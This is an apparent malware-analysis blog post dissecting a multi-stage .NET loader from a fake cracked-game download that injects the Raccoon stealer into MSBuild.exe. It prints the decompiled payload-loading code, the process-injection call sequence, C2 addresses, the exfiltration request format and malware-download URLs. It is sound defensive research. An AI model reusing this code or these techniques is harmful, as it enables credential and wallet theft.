Raccoons Nesting In .NET
My latest writeup comes to us courtesy of YouTube, specifically via the plethora of videos claiming to share cracked versions of various software.
The initial steps were quite simple, I visited YouTube, searched for “cracked software”, sorted by the last hour, and voila, hundreds of videos. I chose one near the top, titled "elden ring crack | free download | 2022"
.
The video demonstrates to the viewer how to unzip the downloaded folder and run the software within by double-clicking it. Checking out the YouTube account, this was at one point an active account featuring the user’s gameplay, but had been compromised by a threat actor.
As of 3/14/2023, three weeks after I initially viewed this account, the account, videos, and links are still present.
Visiting the link in the video description brought me to a page on telegra.ph
, a site which allows users to quickly create basic websites.
The link on the telegra.ph
site landed on a MediaFire page where a RAR archive, Pass_2023.rar
, could be downloaded.
Note: There was a another link shown in the video itself, and on visiting this URL a redirect chain is followed and a different RAR archive is served. I won’t dig into this sample in this post, but wanted to share the IOCs.
Redirect Chain: softwarebeginner.com/eldenringcrack
-> emanagesoftware.com/download
-> bestdogdaycaresoftware.com/1
-> bittab.pw/SoftwareSetupFile.rar
On providing the password “2023” to Pass_2023.rar
and extracting the contents of the archive, I was presented with a file, setup.exe, and a directory containing what appeared to be random, unrelated files and folders.
My focus shifted to investigating the setup.exe file.
Stage One - Setup.exe aka TankBattle
Originally, the file was quite large, nearly 800MB. Guessing that null bytes had been added by the threat actor to attempt to avoid AV scans, I used the readpe
tool to find the size of the file and trimmed it down to a more manageable 958KB. This trimmed binary can be found on Malshare.
setup.exe
is written in C# using the .NET framework, and on opening it in dnSpy, I had a few initial observations.
Firstly, there was no attempt at obfuscation whatsoever. Secondly, a majority of the code seemed to be benign and referencing a tank battle game, probably ripped from another legitimate project to assist avoiding detection. However, there were several sections which were obviously malicious.
Following the execution flow, I’ll outline my findings starting with the constructor of the Form1
class.
Form1.Seksy = new string[]
{
"54784365",
"737775",
"TankBattle"
};
This in of itself is not malicious, but is used later on. Execution then moves to Form1.InitializeComponent()
, where the remainder of the malicious code is added at random into the method. Most of the method is benign, so I will share only the malicious components.
ResourceManager resourceManager = new ResourceManager(typeof(Form2));
string text = (string)resourceManager.GetObject("String1");
text = text.Replace("~", "00-");
string[] array = text.Split(new char[]
{
'-'
});
byte[] array2 = new byte[array.Length];
for (int i = 0; i < array.Length; i++)
{
array2[i] = (byte)Convert.ToUInt32(array[i], 16);
}
Assembly assembly = Assembly.Load(array2);
string[] seksy = Form1.Seksy;
MethodInfo methodInfo = assembly.GetExportedTypes()[1].GetMethods()[1];
MethodBase methodBase = methodInfo;
object obj = 0;
object[] parameters = seksy;
methodBase.Invoke(obj, parameters);
The first several lines extract a PE file from a resource embedded in setup.exe
. The resource is called String1
and is in the format 4D-5A-90-~03-~~~04-~~~FF-FF-~~B8-~~~~~~~40-~~~~~~~~~~~~~80-~~~0E-1F-
.
The tildes are replaced with null bytes, and the string is transformed into a byte array by splitting on the dash characters. The array is then passed as an argument to Assembly.Load()
.
Using the dnSpy debugger, I was able to see the “methodInfo” variable represents Melvin.White.Dodge()
, which must be a method in the newly created assembly. This method is invoked by passing the Seksy
array as a parameter.
This brings us to the end of the first stage.
Stage Two: The First DLL
The extracted PE is a .NET DLL obfuscated with SmartAssembly. After running the DLL through de4dot, which recognized the obfuscation pattern and output a clean version, I created a .NET console wrapper application so I could debug the DLL in dnSpy.
After checking to ensure the <Module>
constructor did not perform any actions, I started investigating the Dodge() method.
Starting with line 6, the Class1 constructor loads an embedded resource, performs some DES decryption, and reads the result into a global byte array. Next, smethod_0(107396853)
is called.
The argument to smethod_0 is used to calculate an index value and an offset value, which are then used to grab a specific set of bytes from the byte array. These bytes are decoded into UTF-8, base64 decoded, and returned.
After the string s
is created using the method described above, it is base64 decoded again in line 7, and then passed into a custom method called GZip
. This method, as might be expected by the name, performs Gzip decompression on the string passed to it, and returns yet another .NET DLL as a byte array. Going forward, I will refer to this new DLL by its assembly name, Cruiser
.
Breaking down lines 8 and 9, the Class1.smethod_0 call returns the string Munoz.Himentater
which is passed to GetType().
White.smethod_2() is actually just Assembly.Load()
, so the “type” variable will hold an object that represents the Munoz.Himentater
class from Cruiser, and “obj” is an object of the type Munoz.Himentater
.
In lines 10-17, both calls to Class1.smethod_0
return the string CausalitySource
. This means Munoz.Himentater.CausalitySource()
will be called twice, once with the argument 54784365
and again with the argument 737775
– recall the three arguments to the Dodge()
method come from the Seksy
array mentioned previously.
All CausalitySource
does is convert hex to char, so now I know StringTypeInfo
is equal to “TxCe” and InputBlockSize
is equal to “swu”.
Here is where things got a bit tricky for me. On line 18, White.LowestBreakIteration("TxCe", "TankBattle")
is called.
Issue number one - the arguments to create the ResourceManager instance are the string “TankBattle.Properties.Resources” and the result of the method Assembly.GetEntryAssembly(), meaning it will look for a resource under an assembly named “TankBattle”. I will not be able to use my wrapper executable in its current state if I want to continue debugging, I’ll have to rename it to “TankBattle”.
Issue number two - my wrapper executable does not contain the resource TankBattle.Properties.Resources.TxCe
, I will have to copy the TxCe
resource out of the original .NET binary and add it to my wrapper.
After I had adjusted my .NET wrapper accordingly, I ran into one more snag. I have not created many .NET projects, and I was having a difficult time getting the resource to be stored in the correct location, the closest I could get was TankBattle.Resources.TxCe
. Rather than try and figure it out, I simply used the debugger to make the argument match my wrapper’s path right before creating the ResourceManager instance.
Now I have reached line 19 and have a variable referencing a bitmap object. This variable is passed into the White.smethod_0
method, which loops through each pixel, converts it to a 32-bit value, and stores that value as a byte in an array. A subset of the new array is then copied to another array, which is returned.
Looking at lines 20-24, I determined this new array would be modified as the result of invoking Munoz.Himentater.SearchResult(array, "swu")
. In the SearchResult
method, each byte of the array is XOR’d with a static value, and then XOR’d again with a value selected by rotating through the “swu” string, which is converted to bytes in UTF-16BE format.
Surprise, surprise, the result of this method is yet another .NET DLL, which is loaded using Assembly.Load()
in line 25.
To wrap up stage two, one last method is called before exiting the process.
Using the debugger to step through these calls, I was able to determine the method Y4.pn.OcE()
would be invoked in the newly created DLL. This new DLL’s assembly name is Outimurs, which I will use to refer to it.
With stage two complete, let’s move on to stage three.
Stage Three: Outimurs.dll
This next stage is heavily obfuscated and was much more difficult to walk through. It contains references to a legitimate .NET project related to HIV infection simulation models, again likely included to deter investigation and AV scans.
The first thing I looked at here was the <Module>
constructor.
Module Constructor
It looks simple, but unfortunately for me, the constructor for the g3
class ends up being a bit more complex. I will attempt to outline it as best I can.
First, the a byte array is created by reading the resource Y6MIKia1IugDfPiy07.AJLUQDvrspoMYIU61u
, and this array is used to create a dictionary of 635 key-value pairs, which all appear to hold .NET metadata tokens.
Next, the fields of class g3
are looped through, and each field is assigned a delegate based on the dictionary value matching the field’s metadata token as a key.
foreach (FieldInfo fieldInfo in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField))
{
int metadataToken = fieldInfo.MetadataToken;
int num25 = t49.dPf[metadataToken];
bool flag = (num25 & 1073741824) > 0;
num25 &= 1073741823;
MethodInfo methodInfo = (MethodInfo)typeof(t49).Module.ResolveMethod(num25, typeFromHandle.GetGenericArguments(), new Type[0]);
if (methodInfo.IsStatic)
{
fieldInfo.SetValue(null, Delegate.CreateDelegate(fieldInfo.FieldType, methodInfo));
}
...
To illustrate, in the first line the metadataToken of the field g3.Gy
is obtained, which is 0x040001DD. In the next line, using t49.dPf
(the dictionary), get the value associated with key 0x040001DD and assign it to variable “num25”.
The value returned is 0x060003AE, which is the metadata token for Y4.E4R.XOCxlz()
. A delegate is then created, so now, a call to g3.Gy
will actually call Y4.E4R.XOCxlz()
.
Note: This process is followed many more times throughout execution for various other classes. This made it difficult for me to know where I would be jumping to while debugging, which I’d guess is the purpose.
After assigning delegates to all the fields in the g3
class, I reached the end of the <Module>
constructor.
Before I can determine what the call to Y4.pn.OcE()
will do, I must first investigate the pn
class constructor.
pn Class Constructor
This constructor is rather more obfuscated than the last, but by walking through the steps with the debugger, I was able to gain a rough understanding. Firstly, it creates an array of Unicode characters using a hardcoded set of loops and array manipulation. I’ve shared the entirety of the array here.
A few strings are extracted from specified indices of the array, and the third string below is split using the token ||
.
zDJqayZgb
jf221efESkp
1||0||0||0||1||http://inijingo22dev.online/Tlv5quZrJBTUzqG.exe||Tlv5quZrJBTUzqG.exe||0||0||0||0||||||||||||||0||0||0||0||0||0||0||0||v4||2||13325||0||0||||||0||0||0||||0||0||0||1||
Each distinct value split from the third string is assigned to a field of the pn
class.
Next, a series of methods are called to create pointers to library functions using strings extracted from the decoded data. The pointers are assigned to fields of the pn
class as well.
pn.TaF --> kernel32.ResumeThread
pn.jaE --> kernel32.Wow64SetThreadContext
pn.taL --> kernel32.SetThreadContext
pn.kap --> kernel32.Wow64GetThreadContext
pn.man --> kernel32.GetThreadContext
pn.PaP --> kernel32.VirtualAllocEx
pn.FaX --> kernel32.WriteProcessMemory
pn.Nab --> kernel32.ReadProcessMemory
pn.saA --> ntdll.ZwUnmapViewOfSection
pn.Da8 --> kernel32.CreateProcessA
This brings us to the end of the pn
constructor, now I can finally start digging into to the Y4.pn.OcE()
method.
Y4.pn.OcE() Method
The method is obfuscated using branching logical statements which make it large and difficult to read manually, but following it in the debugger I was able to extract the important pieces of the puzzle.
After jumping around multiple case statements, eventually Y4.pn.zcu("http://inijingo22dev.online/Tlv5quZrJBTUzqG.exe", "Tlv5quZrJBTUzqG.exe")
is called. This method creates a WebClient and downloads the specified file to the location C:\Users\<user>\AppData\Local\Temp\Tlv5quZrJBTUzqG.exe
.
This newly downloaded file is identical in structure to the original Setup.exe binary. This might be a persistence mechanism, but I don’t see any methods called to establish persistence. It is possible the functionality may be in place but not implemented properly.
I’ll be honest here, the next bit I am a little confused about. The following is executed successfully:
ResourceManager resourceManager = new ResourceManager("jf221efESkp", GetExecutingAssembly())
However, there is no resource with that name. Maybe dnSpy failed to extract it, but I am not sure. The Outimurs.dll
is here if any .NET gurus want to take a look.
Regardless, the contents of the resource are returned as a byte array. Next, a method loops over every byte of the array, performing the following action:
byte_array[num] = ( ( toInt32((byte_array[num] ^ string_array[num % array_array.length])) - toInt32(byte_array[(num + 1)]) ) + 256 ) % 256
It takes each byte, XORs it with a byte from the string “zDJqayZgb”, then subtracts the integer value of the byte one position ahead of it in the byte array, adds 256 to the result, and then performs modulus 256. The final value is converted back into a byte and replaces the original byte.
The loop runs while the iterator value is <=
the array length, so the first element gets operated on twice, at the beginning of the loop and at the very end. After the loop is complete, the last byte of the array is removed.
The end result is a byte array starting with 4D 5A
– looks like a PE header, probably the next stage of the malware.
Process Injection
Once the byte array is created, the Y4.pn.OcE()
method gets the current .NET common language runtime directory and prepends it to the string “MSBuild.exe”, creating the string C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
.
Note: A frozen version of MSBuild is included by default in .NET Framework 4, so a file should already exist in the location referenced by the string.
Next, pn.RcF("C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe", byte_array)
is called. It is lengthy, so I’ll list out the main points below.
struct Ti{
IntPtr daw
IntPtr wa1
uint caz
uint ISt }
CreateProcessA(path_to_MSBuild, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 134217732U, IntPtr.Zero, null, ref xa, ref ti)
- dwCreationFlags: 0x08000004 -- CREATE_SUSPENDED and CREATE_NO_WINDOW
GetThreadContext(ti.wa1, thread_context_array)
ReadProcessMemory(ti.daw, thread_context_array[41] + 8, buffer, 4, false)
VirtualAllocEx(ta.daw, 0x00400000, 0x0001D000, 12288, 64)
- Last argument, 64, translates to 0x40 or PAGE_EXECUTE_READWRITE
- Argument 12288 translates to MEM_COMMIT & MEM_RESERVE -- ensures bytes of reserved memory are zeroed out
- Allocate memory inside of MSBuild.exe, equivalent to the size of the byte_array
WriteProcessMemory(ta.daw, 0x00400000, byte_array, 0x00000400, ref num4)
- Writes the first 1024 bytes of byte_array into MSBuild.exe at base address 0x00400000
BlockCopy(byte_array, 0x00000400, new_array, 0, new_array.Length)
- new_array is of size 0x17C00
- Copies 0x17C00 bytes from byte_array starting from 0x400
WriteProcessMemory(ti.daw, 0x00401000, new_array, new_array.Length, ref num4)
- Writes the new_array into MSBuild.exe at address 0x00401000
BlockCopy(byte_array, 0x00018000, new_array, 0, new_array.Length)
- new_array is of size 0x00002A00
- Copies 0x2A00 bytes from byte_array starting from 0x00018000
WriteProcessMemory(ta.daw, 0x00419000, new_array, new_array.Length, ref num4)
- Writes the new_array into MSBuild.exe at address 0x00419000
BlockCopy(byte_array, 0x0001AA00, new_array, 0, new_array.Length)
- new_array is size 0x200
- Copies 0x200 bytes from byte_array starting from 0x0001AA00
WriteProcessMemory(ta.daw, 0x0041C000, new_array, new_array.Length, ref num4)
- Writes the new_array into MSBuild.exe at address 0x0041C000
WriteProcessMemory(ta.daw, 0x00A58008, new_buffer, 4, ref num4)
- new_buffer contains: 0x00004000
- Appears to write to the PEB section of memory, but unsure
kernel32.SetThreadContext(ti.wa1, thread_context_array)
kernel32.ResumeThread(ti.wa1)
To summarize, an MSBuild.exe
process is created in a suspended state, VirtualAllocEx
is used to allocate memory within the process, the payload is injected by writing distinct blocks of the byte array to locations in memory, and finally the process thread is resumed.
I set a breakpoint in dnSpy before the execution of ResumeThread and dumped the payload from the memory of MSBuild. I then fixed the section headers in PEBear, leaving me with a new executable to analyze.
After this, the Y4.pn.OcE()
method returns, and execution within the DLL is concluded.
After multiple layers, I’ve reached the final stage. No more .NET, I’ll have to use Ghidra and x32dbg going forward.
Stage Four: Raccoon
There is quite a bit to dive into in the final payload, so I will briefly outline each major piece.
Spoiler, the payload is the Raccoon stealer. The execution flow, configuration strings, and C2 IP addresses I will discuss below support this statement.
Import Functions
Using PEStudio to do some initial checking, we can see the binary has has very few imports, but it doesn’t appear to be packed.
It turns out, in the first function called by main, additional Win32 API functions are imported dynamically using LoadLibraryA
and GetProcAddress
.
The method to decode the strings here is simple, the two arguments are XOR’d with each other, using modulus to loop through the second argument when needed. The first string argument is composed of ASCII characters, both printable and non-printable control characters.
Mutex
Once the additional functions have been imported, it checks whether a mutex with the name MilcoSoft_#Rip_X
exists, and if so, the process terminates. If the mutex does not exist, one is created, and execution continues. This is to ensure only one instance of the stealer is running at a time.
Note: Many of the functions in this binary contain hundreds of library calls with null parameters, creating junk code in an (assumed) attempt to make debugging more difficult.
String Decode
A function is called to decode a series of strings using the same method as the dynamic imports. Many of the decoded strings match findings in other writeups of the Raccoon stealer.
sgnl_
tlgrm_
ews_
grbr_
dscrd_
\passwords.txt
The full list can be found here.
NT Authority/System Check
Using OpenProcessToken and GetTokenInformation, check whether the process is currently running under the local System user by checking the user SID of the current process against the string S-1-5-18
.
If the SIDs match, CreateToolhelp32Snapshot, DuplicateTokenEx, and CreateProcessWithTokenW are used to duplicate the token of explorer.exe
, and a new process is created with the token.
Decode C2 IPs
Raccoon Stealer allows for operators to configure five command and control server IP addresses, however in this sample, only two were used. The IPs are hard-coded in the binary as ASCII strings, including non-printable characters. They are decoded by XORing each character against characters in corresponding indices of another hardcoded string, f26f614d4c0bc2bcd6601785661fb5cf
. We will see this second string used again later.
http://83.217.11.34
http://83.217.11.35
These IPs are well documented as associated with Raccoon Stealer.
Device Fingerprint
Before contacting any C2 servers, the malware collects device identifiers. RegOpenKeyExW is used to get the GUID of the device from the key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
and GetUserNameW grabs the current user’s name.
These identifiers are used to create a string in the following format, where the configId is the XOR key previously used to decode the C2 IPs:
machineId=<GUID>|<username>&configId=f26f614d4c0bc2bcd6601785661fb5cf
Get Config From C2
Use the WinINet API to POST the device fingerprint to the first C2 server, http://83.217.11.34/
, with the header string Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n\r\n\r\n
and the User-Agent 901785252112
. If any errors occur, it will attempt to make this request five times.
The InternetReadFile function is then used to capture the response from the C2 server, and save it to a variable. The response will be used to configure the functionality of the stealer. I’ve shared the string with line breaks here.
Download DLLs
The first section of the response from the C2 server contains paths to additional DLLs hosted on the C2 server.
freebl3.dll
mozglue.dll
msvcp140.dll
nss3.dll
softokn3.dll
sqlite3.dll
vcruntime140.dll
The malware looks for the each occurrence of the string libs_
, extracts the DLL name and its corresponding IP/path string, and uses the WinINet API to download the file from the server to the C:\Users\<user>\AppData\LocalLow\
folder. In this case, the User-Agent for the requests is 1235125521512
.
All of the downloaded DLLs are all legitimate versions, which will be used to steal data from various locations on the system.
New Token
Check for the existence of the string token:
in the C2 server response, and if it does not exist, the process terminates completely.
If it does exist, the token following the keyword is extracted and used to create a new string in the format http://83.217.11.34/<new_token>
.
Environment Variable
Using the GetEnvironmentVariable and SetEnvironmentVariableW functions, the malware adds the directory C:\Users\<user>\AppData\LocalLow
to the PATH environment variable.
Collect System Information
Queries registry keys or uses Win32 APIs to construct a long string containing information about the system on which it is running. The output will be in the following format:
System Information:
- Locale: English
- Time zone:
- OS: Windows 10 Home
- Architecture: x64
- CPU: Intel(R) Core(TM) i7-6700 CPU @ 340GH (2 cores)
- RAM: 4095 MB
- Display size: 1536x781
- Display Devices:
0) NVIDIA GeForce GTX 580
Installed applications:
010 Editor 1201 (64-bit)
7-Zip 1505 beta x64
...
<many more>
The installed applications are found using the following registry keys:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
POST System Data To C2
A header for a web request is created using a randomly generated string as the boundary field.
Content-Type: multipart/form-data; boundary=uQuoaXzGzkghm4gR\r\n\r\n\r\n
The boundary string will be used to delimit the system information in the POST request.
Send a POST request containing the data collected to the C2 server. The request will be in the following format:
POST /<token> HTTP/1.1
Accept: */*
Content-Type: multipart/form-data; boundary=<boundary>
User-Agent: 125122112551
Host: 83.217.11.34
Content-Length: <length>
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="file"; filename="System Info.txt"
Content-Type: multipart/form-data
System Information:
- Locale: English
- Time zone:
- OS: Windows 10 Home
- Architecture: x64
- CPU: Intel(R) Core(TM) i7-6700 CPU @ 340GH (2 cores)
- RAM: 4095 MB
- Display size: 1536x781
- Display Devices:
0) NVIDIA GeForce GTX 580
Installed applications:
010 Editor 1201 (64-bit)
7-Zip 1505 beta x64
...
<many more>
--<boundary>--
Data Theft
After the system information is exfiltrated, the malware begins to steal more sensitive data. In the interest of brevity, I am not going to dig any further into the functionality here. There are many other writeups which do a great job of this. I will simply list the items which this sample is configured to steal.
Browser Data
Various Crypto wallets from software/extensions
BlockstreamGreen
TronLink
MetaMask
Binance
Ronin
JaxxLiberty
Atomic
Coinomi
Electrum
ElectronCash
Guarda
LedgerLive
Daedalus
MyMonero
Wasabi
Local Documents
%USERPROFILE%\Desktop\|*.txt
%USERPROFILE%\Desktop\|*.dox
%USERPROFILE%\Documents\|*.txt
%USERPROFILE%\Desktop\|*.pdf
Telegram
Discord
Each one of these stealer functions would upload the data to the C2 server immediately after capturing it.
Screenshots
The Raccoon stealer has the capability to take screenshots using the GDIPlus and gdi32 DLLs, but this sample is not configured to do so.
Load More Malware
The stealer uses the keyword ldr_
in the C2 configuration string to determine whether to download even more malware. In this sample, I found the following:
ldr_1:http://77.73.134.24/Clip1.exe|%APPDATA%\|exe
ldr_1:http://77.73.134.35/bebra.exe|%TEMP%\|exe
The configuration specifies the server to contact, the file to download, the path to save the download, and the extension to use. I collected these additional binaries, and they can be found on Malshare.
- Clip1.exe
- Uses EazFuscator, and I’m unable to get any deobfuscators to work. I do not have a lot of experience in this area.
- bebra.exe
Final Thoughts
I’ll summarize the investigative journey - first a malicious .NET binary was downloaded from a link in a YouTube video for cracked software. This binary has a weakly obfuscated .NET DLL embedded in its resources, which is extracted and a specified method is executed.
The first DLL then decrypts and decompresses another .NET DLL from its resources. and then uses methods from the newly created DLL to extract yet another DLL hidden inside a resource bitmap file.
The third DLL extracts the Raccoon stealer from its embedded resources, and injects it into a newly created MSBuild.exe process.
A visual guide: .NET binary -> .NET DLL -> .NET DLL -> .NET DLL -> Raccoon Stealer
IOCs
83.217.11.34
83.217.11.35
77.73.134.24
77.73.134.35
softwarebeginner.com
emanagesoftware.com/download
bestdogdaycaresoftware.com/1
bittab.pw/SoftwareSetupFile.rar